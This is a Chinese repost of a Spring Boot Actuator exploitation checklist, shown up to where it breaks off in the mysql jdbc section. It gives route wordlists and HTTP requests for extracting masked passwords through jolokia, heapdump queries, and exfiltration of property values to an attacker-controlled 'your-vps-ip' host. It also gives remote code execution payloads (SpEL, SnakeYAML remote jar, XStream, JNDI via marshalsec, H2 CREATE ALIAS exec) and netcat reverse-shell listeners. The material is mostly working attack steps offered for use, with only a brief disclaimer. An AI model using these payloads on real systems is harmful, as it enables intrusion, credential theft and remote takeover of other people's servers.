SpringBoot漏洞大全

编程语言 2022-08-02 22:43:58 阅读次数: 0

原文出处：SpringBoot漏洞 (qq.com)

前段时间做渗透 发现了一个很眼熟的页面

长这个样子

页面log是

去世界最大的同性交友网github.com搜了一下

发现了一个十分详细的文章

存在大量接口信息泄露 成功交差

我打的网站有heapdump

参考文章

https://h0sec.com/2020/spring.htmlivk_sa=1024320u

文章地址

https://github.com/LandGrey/SpringBootVulExploit

或者公众号回复springboot

声明

本项目所有内容仅作为安全研究和授权测试使用, 相关人员对因误用和滥用该项目造成的一切损害概不负责

目录

  • Spring Boot Vulnerability Exploit Check List

    • 0x01：whitelabel error page SpEL RCE

    • 0x02：spring cloud SnakeYAML RCE

    • 0x03：eureka xstream deserialization RCE

    • 0x04：jolokia logback JNDI RCE

    • 0x05：jolokia Realm JNDI RCE

    • 0x06：restart h2 database query RCE

    • 0x07：h2 database console JNDI RCE

    • 0x08：mysql jdbc deserialization RCE

    • 0x09：restart logging.config logback JNDI RCE

    • 0x0A：restart logging.config groovy RCE

    • 0x0B：restart spring.main.sources groovy RCE

    • 0x0C：restart spring.datasource.data h2 database RCE

    • 步骤一：找到一个正常传参处

    • 步骤二：执行 SpEL 表达式

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：托管 yml 和 jar 文件

    • 步骤二：设置 spring.cloud.bootstrap.location 属性

    • 步骤三：刷新配置

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：架设响应恶意 XStream payload 的网站

    • 步骤二：监听反弹 shell 的端口

    • 步骤三：设置 eureka.client.serviceUrl.defaultZone 属性

    • 步骤四：刷新配置

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：查看已存在的 MBeans

    • 步骤二：托管 xml 文件

    • 步骤三：准备要执行的 Java 代码

    • 步骤四：架设恶意 ldap 服务

    • 步骤五：监听反弹 shell 的端口

    • 步骤六：从外部 URL 地址加载日志配置文件

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：查看已存在的 MBeans

    • 步骤二：准备要执行的 Java 代码

    • 步骤三：托管 class 文件

    • 步骤四：架设恶意 rmi 服务

    • 步骤五：监听反弹 shell 的端口

    • 步骤六：发送恶意 payload

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：设置 spring.datasource.hikari.connection-test-query 属性

    • 步骤二：重启应用

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：访问路由获得 jsessionid

    • 步骤二：准备要执行的 Java 代码

    • 步骤三：托管 class 文件

    • 步骤四：架设恶意 ldap 服务

    • 步骤五：监听反弹 shell 的端口

    • 步骤六：发包触发 JNDI 注入

    • 利用条件：

    • 利用方法：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：查看环境依赖

    • 步骤二：架设恶意 rogue mysql server

    • 步骤三：设置 spring.datasource.url 属性

    • 步骤四：刷新配置

    • 步骤五：触发数据库查询

    • 步骤六：恢复正常 jdbc url

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：托管 xml 文件

    • 步骤二：托管恶意 ldap 服务及代码

    • 步骤三：设置 logging.config 属性

    • 步骤四：重启应用

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞分析：

    • 漏洞环境：

    • 步骤一：托管 groovy 文件

    • 步骤二：设置 logging.config 属性

    • 步骤三：重启应用

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞环境：

    • 步骤一：托管 groovy 文件

    • 步骤二：设置 spring.main.sources 属性

    • 步骤三：重启应用

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞环境：

    • 步骤一：托管 sql 文件

    • 步骤二：设置 spring.datasource.data 属性

    • 步骤三：重启应用

    • 利用条件：

    • 利用方法：

    • 漏洞原理：

    • 漏洞环境：

    • 0x01：路由地址及接口调用详情泄漏

    • 0x02：配置不当而暴露的路由

    • 0x03：获取被星号脱敏的密码的明文 (方法一)

    • 0x04：获取被星号脱敏的密码的明文 (方法二)

    • 0x05：获取被星号脱敏的密码的明文 (方法三)

    • 0x06：获取被星号脱敏的密码的明文 (方法四)

    • 步骤一：找到想要获取的属性名

    • 步骤二：jolokia 调用相关 Mbean 获取明文

    • 利用条件：

    • 利用方法：

    • 步骤一：找到想要获取的属性名

    • 步骤二：使用 nc 监听 HTTP 请求

    • 步骤三：设置 eureka.client.serviceUrl.defaultZone 属性

    • 步骤四：刷新配置

    • 步骤五：解码属性值

    • 利用条件：

    • 利用方法：

    • 步骤一：找到想要获取的属性名

    • 步骤二：使用 nc 监听 HTTP 请求

    • 步骤三：触发对外 http 请求

    • 步骤四：刷新配置

    • 利用条件：

    • 利用方法：

    • 步骤一：找到想要获取的属性名

    • 步骤二：下载 jvm heap 信息

    • 步骤三：使用 MAT 获得 jvm heap 中的密码明文

    • 利用条件：

    • 利用方法：

    • 0x01：路由知识

    • 0x02：版本知识

    • 组件版本的相互依赖关系：

    • Spring Cloud 与 Spring Boot 版本之间的依赖关系：

    • Spring Cloud 小版本号的后缀及含义:

    • 零：路由和版本

    • 一：信息泄露

    • 二：远程代码执行

零：路由和版本

0x01：路由知识

  • 有些程序员会自定义/manage、/management、项目 App 相关名称为 spring 根路径

  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为/，2.x 版本则统一以/actuator为起始路径

  • Spring Boot Actuator 默认的内置路由名字，如/env有时候也会被程序员修改，比如修改成/appenv

0x02：版本知识

Spring Cloud 是基于 Spring Boot 来进行构建服务，并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。

组件版本的相互依赖关系：

依赖项

版本列表及依赖组件版本

spring-boot-starter-parent

spring-boot-starter-parent

spring-boot-dependencies

spring-boot-dependencies

spring-cloud-dependencies

spring-cloud-dependencies

Spring Cloud 与 Spring Boot 版本之间的依赖关系：

Spring Cloud 大版本

Spring Boot 版本

Angel

兼容 Spring Boot 1.2.x

Brixton

兼容 Spring Boot 1.3.x、1.4.x

Camden

兼容 Spring Boot 1.4.x、1.5.x

Dalston

兼容 Spring Boot 1.5.x，不兼容 2.0.x

Edgware

兼容 Spring Boot 1.5.x，不兼容 2.0.x

Finchley

兼容 Spring Boot 2.0.x，不兼容 1.5.x

Greenwich

兼容 Spring Boot 2.1.x

Hoxton

兼容 Spring Boot 2.2.x

Spring Cloud 小版本号的后缀及含义:

小版本号后缀

含义

BUILD-SNAPSHOT

快照版，代码不是固定，处于变化之中

MX

里程碑版

RCX

候选发布版

RELEASE

正式发布版

SRX

(修复错误和 bug 并再次发布的)正式发布版

一：信息泄露

0x01：路由地址及接口调用详情泄漏

开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时，相关人员没有更改配置文件，忘记切换环境配置等

直接访问以下两个 swagger 相关路由，验证漏洞是否存在：

/v2/api-docs
/swagger-ui.html

其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由：

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外，下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息，但是无法获得参数相关信息：

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

一般来讲，暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞，但是以 “默认安全” 来讲，不暴露出这些信息更加安全。

对于攻击者来讲，一般会仔细审计暴露出的接口以增加对业务系统的了解，并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。

0x02：配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险，或者没有按照标准流程开发，忘记上线时需要修改/切换生产环境的配置

参考production-ready-endpoints和spring-boot.txt，可能因为配置不当而暴露的默认内置路由可能会有：

/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

其中对寻找漏洞比较重要接口的有：

  • /env、/actuator/env

    GET 请求/env会直接泄露环境变量、内网地址、配置中的用户名等信息；当程序员的属性名命名不规范，例如 password 写成 psasword、pwd 时，会泄露密码明文；

    同时有一定概率可以通过 POST 请求/env接口设置一些属性，间接触发相关 RCE 漏洞；同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

  • /refresh、/actuator/refresh

    POST 请求/env接口设置属性后，可同时配合 POST 请求/refresh接口刷新属性变量来触发相关 RCE 漏洞。

  • /restart、/actuator/restart

    暴露出此接口的情况较少；可以配合 POST请求/env接口设置属性后，再 POST 请求/restart接口重启应用来触发相关 RCE 漏洞。

  • /jolokia、/actuator/jolokia

    可以通过/jolokia/list接口寻找可以利用的 MBean，间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

  • /trace、/actuator/httptrace

    一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的 cookie、jwt token 等信息。

0x03：获取被星号脱敏的密码的明文 (方法一)

访问 /env 接口时，spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件：

  • 目标网站存在/jolokia或/actuator/jolokia接口

  • 目标使用了jolokia-core依赖（版本要求暂未知）

利用方法：

步骤一：找到想要获取的属性名

GET 请求目标网站的/env或/actuator/env接口，搜索******关键词，找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二：jolokia 调用相关 Mbean 获取明文

将下面示例中的security.user.password替换为实际要获取的属性名，直接发包；明文值结果包含在 response 数据包中的value键中。

  • 调用org.springframework.bootMbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • 调用org.springframework.cloud.context.environmentMbean

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • 调用其他 Mbean

目标具体情况和存在的 Mbean 可能不一样，可以搜索 getProperty 等关键词，寻找可以调用的方法。

0x04：获取被星号脱敏的密码的明文 (方法二)

利用条件：

  • 可以 GET 请求目标网站的/env

  • 可以 POST 请求目标网站的/env

  • 可以 POST 请求目标网站的/refresh接口刷新配置（存在spring-boot-starter-actuator依赖）

  • 目标使用了spring-cloud-starter-netflix-eureka-client依赖

  • 目标可以请求攻击者的服务器（请求可出外网）

利用方法：

步骤一：找到想要获取的属性名

GET 请求目标网站的/env或/actuator/env接口，搜索******关键词，找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二：使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口：

nc -lvk 80

步骤三：设置 eureka.client.serviceUrl.defaultZone 属性

将下面http://value:${security.user.password}@your-vps-ip中的security.user.password换成自己想要获取的对应的星号 * 遮掩的属性名；

your-vps-ip换成自己外网服务器的真实 ip 地址。

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

步骤四：刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

步骤五：解码属性值

正常的话，此时 nc 监听的服务器会收到目标发来的请求，其中包含类似如下Authorization头内容：

Authorization: Basic dmFsdWU6MTIzNDU2

将其中的dmFsdWU6MTIzNDU2部分使用 base64 解码，即可获得类似明文值value:123456，其中的123456即是目标星号 * 脱敏前的属性值明文。

0x05：获取被星号脱敏的密码的明文 (方法三)

利用条件：

  • 通过 POST/env设置属性触发目标对外网指定地址发起任意 http 请求

  • 目标可以请求攻击者的服务器（请求可出外网）

利用方法：

参考 UUUUnotfound 提出的issue-1，可以在目标发外部 http 请求的过程中，在 url path 中利用占位符带出数据

步骤一：找到想要获取的属性名

GET 请求目标网站的/env或/actuator/env接口，搜索******关键词，找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二：使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口：

nc -lvk 80

步骤三：触发对外 http 请求

  • spring.cloud.bootstrap.location方法（同时适用于明文数据中有特殊 url 字符的情况）

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
  • eureka.client.serviceUrl.defaultZone方法（不适用于明文数据中有特殊 url 字符的情况）

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

步骤四：刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

0x06：获取被星号脱敏的密码的明文 (方法四)

访问 /env 接口时，spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件：

  • 可正常 GET 请求目标/heapdump或/actuator/heapdump接口

利用方法：

步骤一：找到想要获取的属性名

GET 请求目标网站的/env或/actuator/env接口，搜索******关键词，找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二：下载 jvm heap 信息

下载的 heapdump 文件大小通常在 50M—500M 之间，有时候也可能会大于 2G

GET请求目标的/heapdump或/actuator/heapdump接口，下载应用实时的 JVM 堆信息

步骤三：使用 MAT 获得 jvm heap 中的密码明文

参考文章方法，使用Eclipse Memory Analyzer工具的OQL语句

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

或

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

辅助用 “password” 等关键词快速过滤分析，获得密码等相关敏感信息的明文。

二：远程代码执行

由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的，所以有些漏洞名字起的不太正规，以能区分为准

0x01：whitelabel error page SpEL RCE

利用条件：

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法：

步骤一：找到一个正常传参处

比如发现访问/article?id=xxx，页面会报状态码为 500 的错误：Whitelabel Error Page，则后续 payload 都将会在参数 id 处尝试。

步骤二：执行 SpEL 表达式

输入/article?id=${7*7}，如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上，那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成0x**java 字节形式，方便执行任意代码：

# coding: utf-8

result = “”
target = ‘open -a Calculator’
for x in target:
result += hex(ord(x)) + “,”
print(result.rstrip(‘,’))

执行open -a Calculator命令

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

漏洞原理：

  1. spring boot 处理参数值出错，流程进入org.springframework.util.PropertyPlaceholderHelper类中

  2. 此时 URL 中的参数值会用parseStringValue方法进行递归解析

  3. 其中${}包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration类的resolvePlaceholder方法当作 SpEL 表达式被解析执行，造成 RCE 漏洞

漏洞分析：

SpringBoot SpEL表达式注入漏洞-分析与复现

漏洞环境：

repository/springboot-spel-rce

正常访问：

http://127.0.0.1:9091/article?id=66

执行open -a Calculator命令：

http://127.0.0.1:9091/articleid=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

0x02：spring cloud SnakeYAML RCE

利用条件：

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/refresh接口刷新配置（存在spring-boot-starter-actuator依赖）

  • 目标依赖的spring-cloud-starter版本 < 1.3.0.RELEASE

  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网）

利用方法：

步骤一：托管 yml 和 jar 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在网站根目录下放置后缀为yml的文件example.yml，内容如下：

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [“http://your-vps-ip/example.jar”]
]]
]

在网站根目录下放置后缀为jar的文件example.jar，内容是要执行的代码，代码编写及编译方式参考yaml-payload。

步骤二：设置 spring.cloud.bootstrap.location 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

步骤三：刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

漏洞原理：

  1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址

  2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件，获得其内容

  3. SnakeYAML 由于存在反序列化漏洞，所以解析恶意 yml 内容时会完成指定的动作

  4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件

  5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化

  6. 实例化类时执行恶意代码，造成 RCE 漏洞

漏洞分析：

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

漏洞环境：

repository/springcloud-snakeyaml-rce

正常访问：

http://127.0.0.1:9092/env

0x03：eureka xstream deserialization RCE

利用条件：

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/refresh接口刷新配置（存在spring-boot-starter-actuator依赖）

  • 目标使用的eureka-client< 1.8.7（通常包含在spring-cloud-starter-netflix-eureka-client依赖中）

  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网）

利用方法：

步骤一：架设响应恶意 XStream payload 的网站

提供一个依赖 Flask 并符合要求的python 脚本示例，作用是利用目标 Linux 机器上自带的 python 来反弹shell。

使用 python 在自己控制的服务器上运行以上的脚本，并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

步骤二：监听反弹 shell 的端口

一般使用 nc 监听端口，等待反弹 shell

nc -lvp 443

步骤三：设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

步骤四：刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

漏洞原理：

  1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址

  2. refresh 触发目标机器请求远程 URL，提前架设的 fake eureka server 就会返回恶意的 payload

  3. 目标机器相关依赖解析 payload，触发 XStream 反序列化，造成 RCE 漏洞

漏洞分析：

Spring Boot Actuator从未授权访问到getshell

漏洞环境：

repository/springboot-eureka-xstream-rce

正常访问：

http://127.0.0.1:9093/env

0x04：jolokia logback JNDI RCE

利用条件：

  • 目标网站存在/jolokia或/actuator/jolokia接口

  • 目标使用了jolokia-core依赖（版本要求暂未知）并且环境中存在相关 MBean

  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网）

  • 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1(LDAP)，但相关环境可绕过

利用方法：

步骤一：查看已存在的 MBeans

访问/jolokia/list接口，查看是否存在ch.qos.logback.classic.jmx.JMXConfigurator和reloadByURL关键词。

步骤二：托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以xml结尾的example.xml文件，内容如下：

步骤三：准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的Java 示例代码JNDIObject.java，

使用兼容低版本 jdk 的方式编译：

javac -source 1.5 -target 1.5 JNDIObject.java

然后将生成的JNDIObject.class文件拷贝到步骤二中的网站根目录。

步骤四：架设恶意 ldap 服务

下载marshalsec，使用下面命令架设对应的 ldap 服务：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口

一般使用 nc 监听端口，等待反弹 shell

nc -lv 443

步骤六：从外部 URL 地址加载日志配置文件

如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求，但是目标没有请求 JNDIObject.class，大概率是因为目标环境的 jdk 版本太高，导致 JNDI 利用失败。

替换实际的 your-vps-ip 地址访问 URL 触发漏洞：

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

漏洞原理：

  1. 直接访问可触发漏洞的 URL，相当于通过 jolokia 调用ch.qos.logback.classic.jmx.JMXConfigurator类的reloadByURL方法

  2. 目标机器请求外部日志配置文件 URL 地址，获得恶意 xml 文件内容

  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)

  4. xml 文件中利用logback依赖的insertFormJNDI标签，设置了外部 JNDI 服务器地址

  5. 目标机器请求恶意 JNDI 服务器，导致 JNDI 注入，造成 RCE 漏洞

漏洞分析：

spring boot actuator rce via jolokia

漏洞环境：

repository/springboot-jolokia-logback-rce

正常访问：

http://127.0.0.1:9094/env

0x05：jolokia Realm JNDI RCE

利用条件：

  • 目标网站存在/jolokia或/actuator/jolokia接口

  • 目标使用了jolokia-core依赖（版本要求暂未知）并且环境中存在相关 MBean

  • 目标可以请求攻击者的服务器（请求可出外网）

  • 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u141/7u131/8u121(RMI)，但相关环境可绕过

利用方法：

步骤一：查看已存在的 MBeans

访问/jolokia/list接口，查看是否存在type=MBeanFactory和createJNDIRealm关键词。

步骤二：准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的Java 示例代码JNDIObject.java。

步骤三：托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四：架设恶意 rmi 服务

下载marshalsec，使用下面命令架设对应的 rmi 服务：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口

一般使用 nc 监听端口，等待反弹 shell

nc -lvp 443

步骤六：发送恶意 payload

根据实际情况修改springboot-realm-jndi-rce.py脚本中的目标地址，RMI 地址、端口等信息，然后在自己控制的服务器上运行。

漏洞原理：

  1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm

  2. 设置 connectionURL 地址为 RMI Service URL

  3. 设置 contextFactory 为 RegistryContextFactory

  4. 停止 Realm

  5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入，造成 RCE 漏洞

漏洞分析：

Yet Another Way to Exploit Spring Boot Actuators via Jolokia

漏洞环境：

repository/springboot-jolokia-logback-rce

正常访问：

http://127.0.0.1:9094/env

0x06：restart h2 database query RCE

利用条件：

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/restart接口重启应用

  • 存在com.h2database.h2依赖（版本要求暂未知）

利用方法：

步骤一：设置 spring.datasource.hikari.connection-test-query 属性

下面payload 中的 ‘T5’ 方法每一次执行命令后都需要更换名称 (如 T6) ，然后才能被重新创建使用，否则下次 restart 重启应用时漏洞不会被触发

spring 1.x（无回显执行命令）

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

spring 2.x（无回显执行命令）

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

步骤二：重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

漏洞原理：

  1. spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的CREATE ALIAS创建自定义函数的 SQL 语句

  2. 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置，定义一个新数据库连接之前被执行的 SQL 语句

  3. restart 重启应用，会建立新的数据库连接

  4. 如果 SQL 语句中的自定义函数还没有被执行过，那么自定义函数就会被执行，造成 RCE 漏洞

漏洞分析：

remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

漏洞环境：

repository/springboot-h2-database-rce

正常访问：

http://127.0.0.1:9096/actuator/env

0x07：h2 database console JNDI RCE

利用条件：

  • 存在com.h2database.h2依赖（版本要求暂未知）

  • spring 配置中启用 h2 consolespring.h2.console.enabled=true

  • 目标可以请求攻击者的服务器（请求可出外网）

  • JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1（LDAP 方式）

利用方法：

步骤一：访问路由获得 jsessionid

直接访问目标开启 h2 console 的默认路由/h2-console，目标会跳转到页面/h2-console/login.jsp?jsessionid=xxxxxx，记录下实际的jsessionid=xxxxxx值。

步骤二：准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的Java 示例代码JNDIObject.java，

使用兼容低版本 jdk 的方式编译：

javac -source 1.5 -target 1.5 JNDIObject.java

然后将生成的JNDIObject.class文件拷贝到步骤二中的网站根目录。

步骤三：托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四：架设恶意 ldap 服务

下载marshalsec，使用下面命令架设对应的 ldap 服务：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口

一般使用 nc 监听端口，等待反弹 shell

nc -lv 443

步骤六：发包触发 JNDI 注入

根据实际情况，替换下面数据中的jsessionid=xxxxxx、www.example.com和ldap://your-vps-ip:1389/JNDIObject

POST /h2-console/login.dojsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jspjsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

漏洞分析：

Spring Boot + H2数据库JNDI注入

漏洞环境：

repository/springboot-h2-database-rce

正常访问：

http://127.0.0.1:9096/h2-console

0x08：mysql jdbc deserialization RCE

利用条件：

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/refresh接口刷新配置（存在spring-boot-starter-actuator依赖）

  • 目标环境中存在mysql-connector-java依赖

  • 目标可以请求攻击者的服务器（请求可出外网）

利用方法：

步骤一：查看环境依赖

